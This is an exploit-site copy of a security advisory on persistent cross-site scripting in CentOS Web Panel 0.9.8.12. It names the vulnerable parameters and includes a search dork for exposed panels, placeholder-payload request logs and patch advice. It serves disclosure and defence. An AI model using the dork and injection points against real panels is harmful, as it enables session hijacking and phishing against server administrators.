CentOS Web Panel v0.9.8.12 - Multiple Persistent Web Vulnerabilities

2018-01-20T00:00:00
ID 1337DAY-ID-29586
Type zdt
Reporter bot
Modified 2018-01-20T00:00:00

Description

Exploit for linux platform in category web applications

                                        
                                            Document Title:
===============
CentOS Web Panel v0.9.8.12 - Multiple Persistent Web Vulnerabilities


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) 
servers without of 
need to use ssh console for every little thing. There is lot's of options and features for server management in this 
control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailserver…).

(Copy of the Homepage: http://centos-webpanel.com/features )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the official 
CentOS Web Panel v0.9.8.12.


Affected Product(s):
====================
CWP
Product: CentOS Web Panel - (CWP) 0.9.8.12


Technical Details & Description:
================================
Multiple persistent validation web vulnerabilities has been discovered in the official CentOS Web Panel v0.9.8.12.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the 
affected vulnerable modules.

The vulnerabilities are located in the `id` and `email_address` parameters of the `index.php` file POST method request. 
Remote attackers are able to inject script code to the POST method request to manipulate the item listing output 
context. 
The request method to inject is POST and the attack vector is persistent on the application-side. The injection points 
are 
the both add POST method requests and the execution point occurs in the output location of both modules.

The security risk of the web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) 
count of 4.4. 
Exploitation of the persistent web vulnerabilities requires a low privileged web-application user account and low user 
interaction. 
Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent 
external redirects 
to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] phpini_editor
[+] mail_add-new
                                
Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] id
[+] email_address


Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.


Dork(s):
"powered by CentOS-WebPanel.com"


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=phpini_editor 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=phpini_editor]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      id[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      del[]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Keep-Alive[timeout=5, max=94]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]

PoC: POST via Delete function in phpini_editor via Add your custom settings! input
<div class="row">
<h3>Simple php.ini editor</h3>
File Location: /home/test-dom/public_html/php.ini
<br><br>magic_quotes_gpc=>"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>
 Removed!<META HTTP-EQUIV='refresh' CONTENT='1'>        
                </div><!-- End .row -->
            </div><!-- End contentwrapper -->
        </div><!-- End #content -->
    </div><!-- End #wrapper -->

Reference(s):
http://localhost:2030/index.php?module=phpini_editor 



--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=mail_add-new 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=mail_add-new]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      ifpost[yes]
      email_address[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      domain[test-domain.com]
      password[%3E%22%3CPAYLOAD INJECTION POINT!+src]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]


PoC: POST via add Mailbox in email input 
<div class="row">
<br>Email domain <b>test-domain.com</b> created.
<br>Mailbox <b>a>"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>@test-domain.com</b> created.
<br><h3>Create a New Email Account or Forwarder (MailBox/Forwarder)</h3>
Here you can create a new email account or forwarder.
<br><br>
<div class='row'>
        <div class='col-lg-8'>
                <div class='panel panel-default chart gradient'>
        <div class='panel-heading'>
                        <h4><span class='icon16 icomoon-icon-bars'></span>
                                <span>Create a New Email Account (MailBox)</span>
                        </h4>
        <a href='#' class='minimize'>Minimize</a>
        </div>
        <div class='panel-body' style='padding-bottom:0;'>
<form action='' method= 'post'>
<input type='hidden' name='ifpost' size='0' value='yes'>
<table><tr><td>

Reference(s):
http://localhost:2030/index.php?module=mail_add-new 


Solution - Fix & Patch:
=======================
The vulnerabilities can be patched by a sanitize in the vulnerable `id` and `email address` parameters of the index.php 
file POST method request. 
Disallow usage of special chars and restrict the parameter input to prevent script code injection attacks. Filter in 
the output error location 
or the item listing the vulnerable location were the code point occurs.

#  0day.today [2018-03-05]  #